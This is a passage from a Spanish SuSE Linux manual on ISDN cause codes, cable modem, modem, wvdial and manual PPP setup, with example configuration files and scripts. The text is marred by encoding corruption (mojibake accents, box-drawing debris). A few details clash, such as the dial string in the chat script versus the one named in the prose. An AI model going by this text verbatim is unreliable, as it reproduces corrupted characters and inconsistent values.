#79 4F Un servicio o una opci≤n, que no estß entre las causas
anteriores, no estß implementada.
Grupo 5: Mensaje no vßlido, parßmetro inadmis-
ible
#81 51 Se recibi≤ una llamada con un valor de referencia de
llamada (ingl. Call Reference Value) actualmente no
vßlido en la red.
#82 52 El canal solicitado no existe en la interfaz que origina
esta causa. Esto ocurre p. ej. con CHI = 26 sobre una
interfaz PCM 24.
#83 53 Se intent≤ sacar una llamada en estado de espera con
una ID de llamada no vßlida.
#84 54 Se intent≤ utilizar una ID de llamada que ya estß en
uso dentro del ßmbito del equipo que controla el es-
tado de las llamadas.
#85 55 Se intent≤ reanudar una llamada, aunque no hubo
ninguna llamada en espera.
#86 56 La llamada con la ID solicitada ya se reaunud≤.
#88 58 La interfaz del abonado llamado no es capaz de
cumplir con los atributos solicitados, como p. ej.
LLC o HLC.
#91 5B Se solicit≤ una red de traspaso de un modo incom-
patible.
#95 5F Si no existe ninguna causa de las mencionadas en
este grupo, se envφa este mensaje.
Grup 6: Fallos de protocolo
#96 60 Falta un elemento informativo imprescindible.
#97 61 El dispositivo que envφa este error, recibi≤ un tipo de
llamada desconocido o no implementado.
#98 62 Se recibi≤ un mensaje no permitido respecto al esta-
do de la llamada o un mensaje tipo STATUS en estado
no vßlido.
______________________________________________________________________________________________________________________
Tabla 6.1: Contin·a en la pßgina siguiente ...
187
6. Conectarse con_el_mundo_~_RDSI,_PPP,_Fax._._.__________________________________________________________________________________*
*_______________________________________@
_______________________________________________________________________________________________________*
*_________
#99 63 Se recibi≤ un elemento informativo desconocido o no
implementado. Es posible suprimir este elemento en
el pr≤ximo intento para conseguir la funci≤n deseada.
#100 64 El contenido de un elemento informativo no es vßlido
y no puede ser usado por el dispositivo que envφa la
causa.
#101 65 Se recibi≤ un mensaje no vßlido respecto al estado
actual de la llamada.
#102 66 Se inici≤ un procedimiento para restablecer una
conexi≤n estable, como reacci≤n a la expiraci≤n de
un temporizador.
#111 6F Ocurri≤ un error no especificado en este grupo.
_______________________________________________________________________________________________________*
*_________
Tabla 6.1: RDSI-Causes en castellano
6.3 Modem cable
El acceso a Internet por medio del cable de televisi≤n tiene una difusi≤n
amplia en algunos paφses europeos tal como en los Estados Unidos o en
Canadß. En este secci≤n del libro le damos como ejemplo unas instrucciones
detalladas para acceder a Internet mediante el servicio austriaco ''Telekabel''.
Las instrucciones son en principio equivalentes para otros proveedores de
cable en otros paφses.
6.3.1 Principios
El cliente de ''Telekabel'' recibe del proveedor un ''modem'' que por una parte
se conecta al cable de televisi≤n y por otra parte se conecta mediante un cable
de par trenzado (10Base-T) a una tarjeta red en la computadora. Este modem
ofrece entonces una lφnea dedicada con acceso continuo y generalmente con
una direcci≤n IP fija.
Procedimiento de instalaci≤n
1. Si la tarjeta red ya estuviera configurada, proceda con el punto 8.
2. Como usuario `root' inicie_el programa_YaST ~ si el entorno KDE estß
activo, debe apretar |A____l|t+ |F___|2y seguidamente introducir xterm . Dentro
de la nueva ventana puede cambiar a modo superusuario e iniciar YaST .
3. Seleccione `Administraci≤n del sistema', `Instalar hardware
en el sistema', `Configurar dispositivo de red'.
4. Bajo `Tipo de red' indique eth0 .
5. Bajo `Tipo de dispositivo de red' seleccione la tarjeta red de la
computadora.
6. Bajo `Opciones del driver' indique parßmetros como el puerto de
entrada/salida (IO-Port), etc.; respecto a los parßmetros de kernel consulte
el capφtulo 14 en la pßgina 357Parßmetros del kernelchapter.14. Si la tar-
jeta el del tipo PCI normalmente no hace falta indicar ning·n parßmetro.
188
____________________________________________________________________________6.4.__T-DSL,_T-ISDN-DSL,_ADSL._._._____________*
*_______________________
7. Seleccione `Continuar'_y vuelva al men· principal de YaST apretando
dos veces |E____s|c.
8. Ahora entre en `Administraci≤n del sistema', `Configuraci≤n
de red', `Configuraci≤n bßsica de red'.
9. Ahora se encuentra en el formulario `Selecci≤n de red'.
10. Pulse |F___|_5para configurar el dispositivo como Ethernet , si Θste a·n no
se encuentra p. ej. como eth0 en la columna `Nombre dispositivo'.
11. Pulse |F___|_3y seleccione `DHCP'.
12. Ahora pulse |F___|_4, para activar el dispositivo.
13. Con |F_____|10la nueva configuraci≤n se guarda.
14. Salga de YaST pulsando varias veces |E_____|sc.
15. Para activar el acceso a la red introduzca rcdhclient start La funci≤n
del mismo se puede comprobar p. ej. con ping www.suse.de .
Estas instrucciones se refieren a las versiones de SuSE Linux a partir de la
versi≤n 6.4. En caso de usar a·n la versi≤n 6.3, se requiere un paso adicional:
Use YaST para poner la variable rc.config a yes (detalles en el aparta-
do 3.7.12 en la pßgina 116Cambiar fichero de configuraci≤nsubsection.3.7.12).
De esta forma el acceso a la red se activa con cada inicio de sistema sin
necesidad de introducir ning·n comando.
Una alternativa es la de introducir una configuraci≤n fija de red (ver aparta-
do 5.1 en la pßgina 156Configuraci≤n con YaST section.5.1), para el caso de
tener direcci≤n IP fija, la mßscara de red y la pasarela. Averigⁿe esto con
su proveedor. Una ventaja de la configuraci≤n fija es que el proceso de ar-
ranque contin·a sin ning·n problema aunque el acceso estΘ fuera de servicio.
Ademßs, en el momento que el servicio se restablece, la conexi≤n a Internet
se realiza de inmediato.
6.4 T-DSL, T-ISDN-DSL, ADSL. . .
Linux ya ofrece soluciones para acceder a Internet vφa ADSL, T-ISDN-DSL,
etc., pero Θstas se encuentran a·n en fase de desarrollo. Por tal motivo no
damos soporte sobre estos temas. (T-DSL y T-ISDN-DSL son los nombres
utilizados por la empresa alemana Telekom para sus servicios de conexi≤n a
base de ADSL.)
Sin embargo nuestro banco de datos de soporte contiene un artφculo sobre
el tema, que reune informaci≤n sobre los ·ltimos desarrollos. Este artφculo
se encuentra en http://sdb.suse.de/sdb/de/html/hoe_adsl_pppoe.
html.
6.5 Conexi≤n de modem
La conexi≤n de un modem a la computadora se efect·a igual que en otros
sistemas operativos, ya sea mediante un cable de puerto serie o bien in-
troduciΘndolo en una ranura libre dentro de la computadora (modem inter-
no). El n·mero o nombre de puerto al cual estß conectado el modem se in-
dica en YaST (ver apartado 3.7.1 en la pßgina 102Instalar hardware en el
sistemasubsection.3.7.1 y apartado 17.6 en la pßgina 438Inicializar hardware
*
* 189
6. Conectarse con_el_mundo_~_RDSI,_PPP,_Fax._._.__________________________________________________________________________________*
*_______________________________________@
local (Teclado, modem, mouse, PCMCIA etc.)Hfootnote.76). YaST genera
un enlace de /dev/modem al puerto de conexi≤n, de tal modo que se pueda
acceder siempre a Θl a travΘs de /dev/modem ~ si el enlace estß bien hecho ~
independientemente del puerto de conexi≤n real (p. ej. /dev/ttyS0).
________________________________________________________________________________________________________*
*________||
| Actualmente se venden tambiΘn modems llamados ''WinModem'' que *
* ||||
| *
* |||
| no funcionan bajo Linux (ver tambiΘn http://sdb.suse.de/sdb/de/ *
* |||
| html/cep_winmodem.html y http://www.linmodems.org/). Acerca *
* |||
| *
* |||
| de modems en general puede consultar el Modem-HOWTO.gz. *
* |||
|_______________________________________________________________________________________________________*
*________|||_
Los programas de terminal ''normales'' que se pueden usar son p. ej. minicom
o, bajo el sistema X Window, seyon . Por otra parte tambiΘn se pueden hacer
las primeras pruebas directamente con wvdial (apartado 6.6).
Minicom
Minicom es un programa de emulaci≤n de terminal de uso sencillo, que se
maneja de forma parecida al programa DOS Telix .
Todos los usuarios que quieran usar minicom deben estar anotados en el
fichero /etc/minicom.users. Allφ se define cußles usuarios tienen derecho
de acceso a cußl modem y con cußl configuraci≤n.
La configuraci≤n de Minicom se efect·a inicißndolo como `root' con:
tierra:/ # minicom -s
Los ajustes necesarios para su uso no se diferencian de otros sistemas opera-
tivos y son auto-explicativos.
________________________________________________________________________________________________________*
*________
| La combinaci≤n de teclas |C______|trl-|L_ |no funciona en un xterm o en rxvt , sin *
* |||
| ______ _ *
* |||
| embargo, funciona en kvt o en una consola de texto. *
* |||
|_______________________________________________________________________________________________________*
*________|||_
6.6 Con el modem a Internet: PPP con wvdial
El programa wvdial es una herramienta potente para establecer conex-
iones anal≤gicas a un proveedor de Internet (+ ISP (ingl. Internet Service
Provider)). Los ISPs pueden usar ajustes diferentes en el protocolo PPP, lo
que dificulta a veces encontrar las opciones correctas. El programa wvdial es
capaz de encontrar estas opciones basßndose en algoritmos inteligentes.
Anteriormente, cuando se estaba configurando el acceso a Internet, siempre
era necesario indicar el servidor de nombres del ISP. Usando wvdial esto ya
no es necesario, ya que este programa reconoce automßticamente el servidor
de nombres del ISP, si Θste transmite la informaci≤n necesaria.
6.6.1 Configuraci≤n de wvdial
Es posible configurar c≤modamente wvdial desde YaST ; el men· para ello se
encuentra bajo `Administraci≤n del sistema', `Configuraci≤n de
red', `Configurar una red PPP' y se puede ver en la figura 6.5 en la
pßgina siguiente.
Proceda de la siguiente manera:
190
___________________________________________________________6.6.__Con_el_modem_a_Internet:_PPP_con_wvdial______________________*
*____________________
Figura 6.5: wvdial: Configuraci≤n de los parßmetros
o Cerci≤rese de que YaST ya ha configurado correctamente el modem; esto
ya fue hecho durante la primera instalaci≤n o en caso contrario se puede
efectuar ahora (ver el apartado 3.7.1 en la pßgina 102Instalar hardware en
el sistemasubsection.3.7.1).
o Primero puede entrar a `Change the language of the SuSE wvdi-
al User Interface' para cambiar el idioma a su gusto
o Seleccione la opci≤n `Configurar el perfil actual'.
o Introduzca el n·mero de telΘfono, el nombre de usuario que le ha dado el
proveedor y la contrase±a (figura 6.6).
Figura 6.6: wvdial: Configuraci≤n de proveedor
Si la conexi≤n se establece a travΘs de una centralita, introduzca por detras
del indicativo para conectar a la red p·blica (p. ej. 0 ) una coma o una w , o
sea 0, o 0w .
*
* 191
6. Conectarse con_el_mundo_~_RDSI,_PPP,_Fax._._.__________________________________________________________________________________*
*_______________________________________@
________________________________________________________________________________________________________*
*________||
| Si estß trabajando bajo el sistema_ X Window_ y tiene_ problemas de in- *
* ||||
|| troducir datos porque las flechas (|____|y | ___|!) o | ____7|n!o funcionan, salga *
* ||||
| primero de YaST y cambie a una consola de texto usando |C______|_trl+ |A_____|lt+ *
* ||||
| | ___| | ___| *
* |||
| F___2- F___6. Entre como superusuario para iniciar YaST nuevamente desde la *
* |||
| consola de texto. *
* |||
|_______________________________________________________________________________________________________*
*________|||_
o Seleccione la configuraci≤n automßtica del servidor de nombres. Si esto
no funciona, se debe configurar con YaST de la forma habitual. (ver el
apartado 3.7.3 en la pßgina 108Configuraci≤n de redsubsection.3.7.3).
o Seleccione el `MΘtodo de marcar' , normalmente es por tonos.
o Si el modem esta conectado a una centralita marque la opci≤n `Modem
en PBX' para que el programa no espere el tono de marcaci≤n.
o `PAP/CHAP' deberφa funcionar siempre como modo de autentificaci≤n.
o Salga del sub-men·.
o DespuΘs de la configuraci≤n de proveedor se pasa al reconocimiento del
modem. Simplemente seleccione la opci≤n `Auto-detecci≤n de mo-
dem'.
o Si este reconocimiento funciona, seleccione `Iniciar wvdial'. En-
tonces aparecerß una ventana con varios mensajes.
o Cuando aparezca el mensaje que indica que el proceso PPP se ha iniciado,
ya puede usar Internet.
o Compruebe la existencia de una__conexi≤n.___Para ello abra una ventana
de terminal adicional (en KDE : |A____l|t+ |F___2|y despuΘs teclear xterm ) e
introduzca en esta ventana:
tierra: # su
y despuΘs la contrase±a de `root'. Ahora introduzca:
tierra: # tail -f /var/log/messages
Asφ se pueden ver los mensaje del sistema en el momento de su aparici≤n.
Si es posible ver lφneas con "Local IP:" y "Remote IP:" ~ cada una
seguida de un n·mero IP ~ puede estar seguro de haber establecido la
conexi≤n a Internet.
o Termine el acceso a Internet con |C______|_trl+ |c__|.
o Si todo ha funcionado, es posible iniciar la conexi≤n a Internet desde la
lφnea de comandos lanzando sencillamente wvdial y finalizßndolo con
|_______|Ctrl+ |c__|.
o Para modificar posteriormente la configuraci≤n sin YaST , es posible uti-
lizar wvdial.lxdial o ~ con superficie grßfica ~ wvdial.tcl ; esto solo se
puede realizar como `root'.
En el directorio /usr/doc/packages/wvdial hay documentaci≤n sobre
wvdial .
wvdial como usuario y la seguridad
Para hacer esto tambiΘn como usuario normal (no como superusuario
`root'), es necesario anotar a este usuario ''normal'' en los grupos `uucp'
192
___________________________________________________________6.6.__Con_el_modem_a_Internet:_PPP_con_wvdial____________________*
*______________________
y `dialout'. Para ello se puede usar YaST (ver apartado 3.7.8 en la
pßgina 114Administraci≤n de grupossubsection.3.7.8).
Para que otros usuarios, aparte del superusuario `root', puedan establecer
conexiones PPP con wvdial , es preciso hacer al usuario en cuesti≤n miembro
de los grupos `uucp' y `dialout'. Esto se puede realizar con YaST tal
como se explica en el apartado 3.7.8 en la pßgina 114Administraci≤n de
grupossubsection.3.7.8.
Los usuarios dados de alta en los grupos `uucp' y `dialout' tendrßn acceso
al fichero /etc/wvdial.conf, que contiene el ''login'' y la contrase±a para
el acceso a Internet. Para aumentar la seguridad es posible ''poner a salvo'' la
contrase±a introduciΘndola en un fichero aparte:
1. Cambie al directorio /etc/ppp y genere como `root' el fichero wvpw
con los derechos 600 .
tierra: # cd /etc/ppp
tierra:/etc/ppp # touch wvpw
tierra:/etc/ppp # chmod 600 wvpw
2. Edite p. ej. con vi el fichero wvpw e introduzca allφ solo la contrase±a;
despuΘs guarde el fichero.
3. Compruebe que los derechos del fichero wvpw sean correctos. Use el
comando:
tierra:/etc/ppp # ls -l wvpw
y compßrelo con la salida en pantalla 6.6.1.
_______________________________________________________________________________________________________________________
|||||||| -rw------- 1 root root 7 Jan 18 17:20 wvpw |
|||||||| |
||||||||_______________________________________________________________________________________________________________ |
Mensaje en pantalla 6.6.1: Salida en pantalla de ls -l wvpw
4. Ahora hay que repitir la configuraci≤n tal como se explic≤ en el aparta-
do 6.6.1 en la pßgina 190Configuraci≤n de wvdial subsection.6.6.1, pero a
diferencia de Θste se introduce ahora @/etc/ppp/wvpw como contrase±a.
Anteponiendo la ''arroba'' (@ ) wvdial sabe que la contrase±a se encuentra
en el fichero indicado.
El modem emite un sonido fuerte
Cuando el volumen del altavoz es demasiado fuerte, puede editar el fichero
/etc/wvdial.conf a±adiendo la lφnea
Init3 = ATM0
Con este comando el altavoz del modem se apaga.
6.6.2 Configurar varios proveedores con wvdial
wvdial es capaz de administrar varios juegos de parßmetros para conec-
tar con varios proveedores. Para conseguirlo hace falta generar en el
fichero /etc/wvdial.conf algunos pßrrafos adicionales al lado del pßr-
rafo Dialer Default . Iniciando wvdial con el nombre de uno de estos
*
* 193
6. Conectarse con_el_mundo_~_RDSI,_PPP,_Fax._._.__________________________________________________________________________________*
*_______________________________________@
pßrrafos, primero se leen los parßmetros de la parte ''Default''. Todos los
parßmetros que se indican en el pßrrafo adicional que se haya nombrado,
reemplazan los valores anteriores de la parte ''Default''.
Un poco mßs adelante viene un ejemplo para los proveedores Teleline
(fichero 6.6.1) y Uni2. La primera configuraci≤n se genera con YaST y
Θsta se amplφa manualmente con las lφneas que figuran en el fichero 6.6.2.
________________________________________________________________________________________________________*
*________||||
| [Dialer Defaults] *
* |
| Modem = /dev/ttyS0 *
* |
| *
* |
| Init1 = ATZ *
* |
| Init2 = ATQ0 V1 E1 S0=0 &C1 &D2 S11=55 +FCLASS=0 *
* |
| Init3 = ATM0 *
* |
| *
* |
| Compuserve = 0 *
* |
| Tonline = 1 *
* |
| *
* |
| Dial Command = ATX3DT *
* |
| Baud = 115200 *
* |
| *
* |
| Auto DNS = 1 *
* |
| Stupid Mode = 0 *
* |
| *
* |
| New PPPD = 1 *
* |
| *
* |
| *
* |
| Phone =932345000 *
* |
| Username = ???????? *
* |
| Password = ??????? *
* |
|_______________________________________________________________________________________________________*
*________ |
Fichero 6.6.1: /etc/wvdial.conf : Pßrrafo estßndar
________________________________________________________________________________________________________*
*________
| [Dialer Uni2] *
* |
| *
* |
| Phone = 900902030 *
* |
| Username = ???????? *
* |
| Password = ???????? *
* |
|_______________________________________________________________________________________________________*
*________ |
Fichero 6.6.2: /etc/wvdial.conf : Pßrrafo suplementario
Ejecutando wvdial sin parßmetro adicional se establece la conexi≤n a Teleline
mientras que con el comando wvdail Uni2 se establece la conexi≤n a Uni2
(consulte tambiΘn la pßgina del manual de wvdial (man wvdial )).
6.6.3 Adaptadores de terminal para RDSI
Los adaptadores de terminal permiten la conexi≤n con RDSI. En compara-
ci≤n a las tarjetas RDSI usuales, la computadora y el adaptador de terminal
se conectan mediante un cable de puerto serie. Los adaptadores simulan en
principio un modem anal≤gico, no obstante estos muestran ciertas particular-
idades; p. ej.
o necesitan comandos especiales para establecer una conexi≤n punto a pun-
to y
o con la configuraci≤n por defecto generan mensajes del tipo CONNECT am-
pliados.
A raφz de esto se requiere una adaptaci≤n de la configuraci≤n de modem:
194
___________________________________________________________6.6.__Con_el_modem_a_Internet:_PPP_con_wvdial_____________________*
*_____________________
1. Prescinda de la detecci≤n automßtica del modem, la que normalmente se
ejecuta vφa YaST con `Administraci≤n de sistema' / `Configu-
raci≤n de red' / `Configurar una red PPP' / `Auto-detecci≤n
de modem'.
2. Defina la interface de modem en YaST a travΘs de las opciones `Admin-
istraci≤n de sistema' / `Instalar hardware en el sistema'
/ `Configuraci≤n del modem'.
3. Entre al sistema como superusuario `root'.
4. Cree el fichero /etc/wvdial.conf manualmente; normalmente se crea
con un mecanismo automßtico. El contenido de este fichero debe ser
como se muestra en el fichero 6.6.3.
_______________________________________________________________________________________________________________________||||
|||||||| [Dialer Defaults] |
|||||||| Modem = /dev/modem |
|||||||| Baud = 115200 |
|||||||| |
|||||||| Init1 = <Entrada especial 1> |
|||||||| Init2 = <Entrada especial 2> |
|||||||| |
|||||||| ; Phone = |
|||||||| ; Username = |
|||||||| |
|||||||| ; Password = |
|||||||| |
|||||||| |
||||||||_______________________________________________________________________________________________________________ |
Fichero 6.6.3: /etc/wvdial.conf : Adaptador de terminal
En lugar de <Entrada especial 1> y <Entrada especial 2> se debe intro-
ducir ~ seg·n el dispositivo en cuesti≤n ~ uno de los siguientes valores:
Fabricante ELSA: ELSA MicroLink ISDN/TLpro y ISDN/TLV.34:
Init1 = AT&F\N10%P1
Init2 = AT\V0
Fabricante ELSA: ELSA TanGo 1000 y ELSA TanGo 2000:
Init1 = AT&F$IBP=HDLCP
Init2 suprimido
Fabricante Zyxel: Todos los modelos:
Init1 = AT&FB40
Init2 = ATXO
Fabricante Hagenuk: Speed/Viper Dragon:
Init1 = ATZ
Init2 = AT&FB8X0
Otros fabricantes: Consulte en la documentaci≤n del fabricante el ''Init-
string'' del adaptador. A veces la documentaci≤n incluye scripts para
Unix o Linux que contienen esta cadena (''Initstring''). TambiΘn es
posible mirar el ''Initstring'' usado para otros sistemas operativos (p. ej.
MS-Windows).
*
* 195
6. Conectarse con_el_mundo_~_RDSI,_PPP,_Fax._._.__________________________________________________________________________________*
*_______________________________________@
Realice los demßs pasos de configuraci≤n tal como se describe en el manual.
Advertencia: No se deben confundir los adaptadores de terminal (RDSI-TA)
con centralitas que incorporan una tarjeta RDSI. Estos ·ltimos tambiΘn se
conectan a travΘs de un cable de puerto serie, pero usan un protocolo de
comunicaci≤n propietario por lo que no se pueden usar bajo Linux. Para su
funcionamiento se requiere un driver CAPI, que los fabricantes actualmente
no proporcionan para Linux. Esto afecta a los siguientes dispositivos:
o Eumex 404 PC
o Eumex 322 PCi
o AVM Fritz!XPCDr.
o Neuhaus Triccy Data LCR
6.6.4 Configuraci≤n de modems PCI
En Linux las interrupciones (IRQ) y la direcciones de entrada y salida (IO ad-
dress) de los puertos serie tienen por defecto los valores que usan las tarjetas
ISA. Estos valores representan prßcticamente un estßndar, por lo que no hay
conflictos con recursos en muchos PCs. Al contrario de lo que sucede con las
tarjetas ISA, la BIOS asigna los recursos de las tarjetas PCI en el momento
del arranque. Cuando solo la BIOS lo decide, estos valores no concuerdan
con los tradicionales.
Para evitar dichos conflictos, proceda de la siguiente forma antes de la con-
figuraci≤n de wvdial :
1. Con el comando scanpci -v determine los valores reales que la BIOS
haya asignado a los puertos serie. Lo que se debe averiguar es la interrup-
ci≤n (IRQ) y la direcci≤n E/S (IO-port).
2. Integre el modem al sistema usando en YaST las opciones `Adminis-
traci≤n del sistema' / `Instalar hardware en el sistema' /
`Configuraci≤n del modem'.
Preste atenci≤n a un mouse de puerto serie eventualmente existente u otros
puertos serie. En caso de duda seleccione /dev/ttyS2 para evitar un
conflicto con una tarjeta controladora (de puertos serie) adicional.
3. Con el comando setserial se puede modificar la configuraci≤n del
puerto serie. Si p. ej. el modem estß ocupando el IRQ 5 y la direcci≤n
E/S 0x220 , pero el kernel lo espera en IRQ 4 y con puerto 0x02f8 , se
puede remediar el problema con el comando:
tierra: # setserial /dev/ttyS2 irq 5 port 0x220
Es necesario ejecutar este comando en cada arranque de la mßquina. Para
ello una posibilidad es la de a±adir una entrada al fichero /sbin/init.d/
boot.local. Otra posibilidad es modificar el pßrrafo start del fichero
/sbin/init.d/serial:
run_setserial /dev/ttyS2 irq 5 port 0x220
Hay informaci≤n adicional sobre setserial en la pßgina del manual de
setserial (man setserial ).
4. Para comprobar la configuraci≤n de la interface, se puede usar el comando
wvdialconf /dev/null . Con este comando se comprueban todas las
interfaces (puertos) ttySx y el modem deberφa ser reconocido.
196
___________________________________________________________6.6.__Con_el_modem_a_Internet:_PPP_con_wvdial____________________*
*______________________
Observaci≤n: Una alternativa a la configuraci≤n con setserial es la mod-
ificaci≤n de la configuraci≤n de IRQ's en la BIOS. Solo es posible si la
BIOS lo permite y tambiΘn si no se requiere modificar la direcci≤n de E/S
(IO).
Para realizar esta modificaci≤n de la BIOS, averigⁿe en cußl ranura PCI
se encuentra la tarjeta. En el programa de configuraci≤n de algunas BIOS
existe un sub-men· que permite configurar las interfaces PCI. Se define
una interrupci≤n (IRQ) fija para cada ranura; seleccione como IRQ fija la
''propuesta'' por la BIOS. El valor serß generalmente IRQ 3 o IRQ 4. En
el pr≤ximo arranque, la IRQ real se ajusta a la predefinida.
6.6.5 Configuraci≤n manual de PPP para ''profesionales''
Si por alguna raz≤n la configuraci≤n del acceso a Internet no hubiera fun-
cionado, es posible seguir los pasos que se detallan a continuaci≤n para es-
tablecer una configuraci≤n manual. Sin embargo, es preferible usar wvdial al
comenzar con la configuraci≤n.
_______________________________________________________________________________________________________________________
|||||||| Hay algunas configuraciones y scripts de ejemplo en el paquete inetcfg, || |
|||||||| || |
|||||||| serie n, en el paquete ppp_nt y en el paquete toppp, serie doc. || |
||||||||_______________________________________________________________________________________________________________||_
Establecer la conexi≤n
La conexi≤n PPP se establece en dos pasos:
o Primero se crea la conexi≤n entre los dos modems. De esto se encarga el
programa chat .
o Una vez establecida la conexi≤n, chat se ocupa tambiΘn de entrar al servi-
dor (login) y pasa despuΘs el control al daemon PPP. Este inicia despuΘs
el protocolo PPP.
DespuΘs de haber instalado el paquete inetcfg, encontrarß en el directorio
/usr/doc/packages/inetcfg el script ppp-up , el cual se debe copiar al
directorio /etc/ppp para modificarlo posteriormente seg·n sus necesidades.
Con ppp-up se inicia entonces la conexi≤n PPP.
Primero se definen las direcciones IP de servidor y cliente. pppd preguntarß
al servidor por su direcci≤n y por la del cliente en caso de haber indicado
con anterioridad 0.0.0.0 como direcci≤n IP del cliente y, si se ha dejado
vacφo el campo para la direcci≤n IP del servidor tal como se puede ver en
el fichero 6.6.4 en la pßgina siguiente. Conociendo de antemano las direc-
ciones o descartando la asignaci≤n dinßmica de Θstas, se pueden anotar las
direcciones IP correspondientes.
Mßs adelante se se±ala el dispositivo al cual estß conectado el modem. Los
banderines (ingl. flags) avisan a pppd que se comunique a una velocidad de
38400 bps con el modem y que se anote la conexi≤n PPP como Default Route
(Ruta predeterminada) en la tabla de ''routing'' del kernel. Existe una multitud
de banderines y opciones adicionales cuyos significados se explican en la
pßgina del manual de pppd (man 8 pppd ) y en el fichero /usr/doc/howto/
en/PPP-HOWTO.gz. El ejemplo bßsico dado deberφa funcionar en la mayorφa
de los casos.
*
* 197
6. Conectarse con_el_mundo_~_RDSI,_PPP,_Fax._._.__________________________________________________________________________________*
*_______________________________________@
________________________________________________________________________________________________________*
*________||||
| #!/bin/sh *
* |
||# *
* ||
| # /etc/ppp/ppp-up *
* |
| # *
* |
| *
* |
| # Establecimiento de una conexi≤n PPP *
* |
| # *
* |
| *
* |
| *
* |
| localip=0.0.0.0 *
* |
| *
* |
| remoteip= *
* |
| *
* |
| device=/dev/modem *
* |
| *
* |
| *
* |
| pppflags="38400 modem debug defaultroute" *
* |
| *
* |
| *
* |
| /usr/sbin/pppd lock connect \ *
* |
| *
* |
| '/usr/sbin/chat -v -f /etc/ppp/ppp.chat' \ *
* |
| $device $pppflags $localip:$remoteip *
* |
|_______________________________________________________________________________________________________*
*________ |
Fichero 6.6.4: /etc/ppp/ppp-up
Ahora chat se encarga de establecer la conexi≤n del modem, tal como se ha
definido en el fichero /etc/ppp/ppp.chat:
________________________________________________________________________________________________________*
*________||
| TIMEOUT 30 *
* |
| *
* |
| ABORT "NO CARRIER" *
* |
| ABORT BUSY *
* |
| ABORT "NO DIALTONE" *
* |
| *
* |
| ABORT ERROR *
* |
| "" +++ATZ *
* |
| *
* |
| OK ATDT931234567 *
* |
| CONNECT "" *
* |
| *
* |
| ogin:--ogin: <ppplogin> *
* |
| word: <ppppassword> *
* |
|_______________________________________________________________________________________________________*
*________ |
Fichero 6.6.5: /etc/ppp/ppp.chat
Las lφneas que comienzan con ABORT , definen las respuestas del modem que
se±alan una conexi≤n fallida. La cadena +++ATZ sirve para inicializar el
m≤dem.
Con ATDT09113247122 el modem llama al servidor. Cuando el modem
recibe la cadena CONNECT , comienza el proceso de entrada al sistema (in-
gl. login). Primero se envφa el nombre de entrada al servidor y despuΘs la
contrase±a. Hay mßs informaci≤n sobre chat en pßgina del manual de chat
(man 8 chat ).
Si los atributos de ambos ficheros estßn configurados correctamente, la lla-
mada a ppp-up es suficiente para iniciar la conexi≤n PPP.
198
___________________________________________________________6.6.__Con_el_modem_a_Internet:_PPP_con_wvdial____________________*
*______________________
_______________________________________________________________________________________________________________________|||
|||||||| La variable de entorno PATH no contiene la rama en la que se encuentra el || |
|||||||| || |
|||||||| script de llamada ppp-up , si lo ha grabado en /etc/ppp/ppp-up como se || |
|||||||| || |
|||||||| ha explicado en este capφtulo, por este motivo debe iniciar la rama completa || |
|||||||| para llamar al script: || |
|||||||| || |
|||||||| tierra:/root # /etc/ppp/ppp-up || |
|||||||| Antes tiene que poner el atributo `x' (ejecutable) del fichero, p. ej. medi- || |
|||||||| || |
|||||||| ante: || |
|||||||| tierra:/root # chmod 755 /etc/ppp/ppp-up || |
||||||||_______________________________________________________________________________________________________________||_
La conexi≤n se finaliza parando el daemon PPP, lo que se puede realizar p. ej.
con el script /etc/ppp/ppp-down :
_______________________________________________________________________________________________________________________||
|||||||| #!/bin/sh |
|||||||| # |
|||||||| |
|||||||| # /etc/ppp/ppp-down |
|||||||| # |
|||||||| |
|||||||| # Terminar conexi≤n PPP |
|||||||| # |
|||||||| |
|||||||| |
|||||||| kill `cat /var/run/ppp0.pid` |
||||||||_______________________________________________________________________________________________________________ |
Fichero 6.6.6: /etc/ppp/ppp-down
Aquφ las comilla son muy importantes (comilla al revΘs |__|`, que se ob-
tiene pulsando dicha tecla seguida de un espacio). Se trata de una
substituci≤n de comando con la cual se pasa el resultado del comando
cat /var/run/ppp0.pid al programa kill .
Adaptaci≤n del Chat-script
Naturalmente hay que adaptar siempre el chat-script /etc/ppp/ppp.chat a
sus necesidades, introduciendo el nombre de entrada propio y la contrase±a.
Muchas veces se cambia toda la secuencia de ''login'' y en algunos casos
es incluso necesario iniciar en la contraparte el protocolo PPP, p. ej. con el
comando ppp default . Para todo esto no hay ninguna descripci≤n genΘrica.
El proceso de entrada al sistema con un terminal es equiparable a un ''login''
normal con la diferencia que este proceso manual se automatiza con el Chat-
script. Diferente serφa el caso cuando se necesita una autorizaci≤n especial a
travΘs de PAP, CHAP o similar.
Se recomienda seguir el procedimiento que se detalla a continuaci≤n:
o Lea cuidadosamente la informaci≤n del proveedor y averigⁿe si Θste ya
tiene un script para conectar; en caso positivo contacte por favor con
nosotros para que podamos coleccionarlos y a su vez ponerlos en nuestra
distribuci≤n a disposici≤n de todos. Puede acceder a esta informaci≤n
mediante nuestro banco de datos de soporte que se encuentra en:
http://sdb.suse.de/sdb/de/html/
o íPrepare lßpiz y papel!
o Conecte manualmente con un programa de terminal (p. ej. Minicom
(minicom -s )) y efect·e el ''login'', anotando exactamente lo que se
*
* 199
6. Conectarse con_el_mundo_~_RDSI,_PPP,_Fax._._.__________________________________________________________________________________*
*_______________________________________@
envφa, en quΘ orden y cußles son las indicaciones necesarias por parte del
usuario. La mayorφa de los programas de terminal (como tambiΘn mini-
com ) permiten protocolizar los textos en pantalla._En_el caso de minicom ____
se alcanza_con la combinaci≤n de teclas |A____l|t+ |l_ |(íLa combinaci≤n |A____l|t
+ |z_ |muestra una lista de todas la combinaciones posibles!).
o Siga en este proceso hasta el momento en el cual la contraparte cambia al
modo PPP, lo que deberφa ser visible a travΘs de un mensaje, p. ej. "ppp-
protocol started".
o La conexi≤n que existe_en aquel_momento se cancela simplemente col-
gando (Minicom: |A____l|t+ |h_ |) ____ _
o Finalice el programa de terminal (Minicom |A____l|t+ |x_ |)
o Puede adaptar ahora el chat-script con el protocolo de la conexi≤n manual.
A continuaci≤n vienen un par de explicaciones adicionales acerca de chat .
El programa chat se inicializa mediante la primera secuencia:
TIMEOUT 30
ABORT "NO CARRIER"
ABORT BUSY
ABORT "NO DIALTONE"
ABORT ERROR
________________________________________________________________________________________________________*
*________||
| El tiempo de espera TIMEOUT depende individualmente del tiempo nece- *
* ||||
| sario para establecer la comunicaci≤n y debe ser mßs alto en algunos casos, *
* |||
| *
* |||
| p. ej. 60 . *
* |||
|_______________________________________________________________________________________________________*
*________|||_
El comando ABORT indica con cußles respuestas por parte del modem debe
finalizar el script.
